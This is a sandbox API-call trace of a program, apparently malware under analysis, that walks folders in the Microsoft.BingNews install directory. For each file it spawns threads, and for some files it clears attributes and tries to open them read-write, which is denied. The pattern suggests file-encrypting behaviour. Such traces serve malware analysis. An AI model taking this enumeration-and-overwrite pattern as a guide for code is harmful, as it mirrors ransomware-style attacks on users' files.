	[0079.163] wcscpy (in: _Dest=0x4769de8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.163] wcscat (in: _Dest=0x4769de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.163] wcscat (in: _Dest=0x4769de8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0079.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d61ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.164] wcscmp (_String1=".", _String2=".") returned 0
	[0079.164] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d61ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.164] wcscmp (_String1="..", _String2=".") returned 1
	[0079.164] wcscmp (_String1="..", _String2="..") returned 0
	[0079.164] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0079.164] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0079.164] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0079.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fb50
	[0079.164] wcscpy (in: _Dest=0x477fb50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.164] wcscat (in: _Dest=0x477fb50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.164] wcscat (in: _Dest=0x477fb50, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0079.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8
	[0079.165] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0079.165] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769de8) returned 1
	[0079.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769ae8) returned 1

Thread:
	id = 704
	os_tid = 0x1a2c

	[0079.168] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0079.169] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.169] GetLastError () returned 0x5
	[0079.169] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bb18) returned 1

Thread:
	id = 705
	os_tid = 0x1a30

	[0079.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d3f8
	[0079.170] wcscpy (in: _Dest=0x2d7d3f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.170] wcscat (in: _Dest=0x2d7d3f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.170] wcscat (in: _Dest=0x2d7d3f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*"
	[0079.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d69dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.170] wcscmp (_String1=".", _String2=".") returned 0
	[0079.170] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d69dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.170] wcscmp (_String1="..", _String2=".") returned 1
	[0079.170] wcscmp (_String1="..", _String2="..") returned 0
	[0079.171] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 1
	[0079.171] wcscmp (_String1="AppTiles", _String2=".") returned 1
	[0079.171] wcscmp (_String1="AppTiles", _String2="..") returned 1
	[0079.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4770d20
	[0079.171] wcscpy (in: _Dest=0x4770d20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.171] wcscat (in: _Dest=0x4770d20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.171] wcscat (in: _Dest=0x4770d20, _Source="AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0079.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec
	[0079.171] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0079.171] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0079.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d614d0) returned 1

Thread:
	id = 706
	os_tid = 0x1a34

	[0079.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476fbf0
	[0079.173] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.173] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.173] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*"
	[0079.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa458f92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.174] wcscmp (_String1=".", _String2=".") returned 0
	[0079.174] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa458f92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.174] wcscmp (_String1="..", _String2=".") returned 1
	[0079.174] wcscmp (_String1="..", _String2="..") returned 0
	[0079.174] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 1
	[0079.174] wcscmp (_String1="configuration.sqlite", _String2=".") returned 1
	[0079.174] wcscmp (_String1="configuration.sqlite", _String2="..") returned 1
	[0079.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768c80
	[0079.174] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.174] wcscat (in: _Dest=0x4768c80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.174] wcscat (in: _Dest=0x4768c80, _Source="configuration.sqlite" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite"
	[0079.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0
	[0079.175] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 0
	[0079.175] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a1a8) returned 1

Thread:
	id = 707
	os_tid = 0x1a38

	[0079.176] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml")) returned 0x20
	[0079.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.176] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.176] GetLastError () returned 0x5
	[0079.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d1d8) returned 1

Thread:
	id = 708
	os_tid = 0x1a3c

	[0079.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6f210
	[0079.177] wcscpy (in: _Dest=0x2d6f210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.177] wcscat (in: _Dest=0x2d6f210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.177] wcscat (in: _Dest=0x2d6f210, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0079.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70585fca, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa459889, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.177] wcscmp (_String1=".", _String2=".") returned 0
	[0079.177] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70585fca, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa459889, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.177] wcscmp (_String1="..", _String2=".") returned 1
	[0079.178] wcscmp (_String1="..", _String2="..") returned 0
	[0079.178] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x62f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0079.178] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0079.178] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0079.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb258
	[0079.178] wcscpy (in: _Dest=0x47eb258, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.178] wcscat (in: _Dest=0x47eb258, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.178] wcscat (in: _Dest=0x47eb258, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0079.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4
	[0079.178] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.178] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.178] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477fc30
	[0079.178] wcscpy (in: _Dest=0x477fc30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.178] wcscat (in: _Dest=0x477fc30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.179] wcscat (in: _Dest=0x477fc30, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0079.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477fc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8
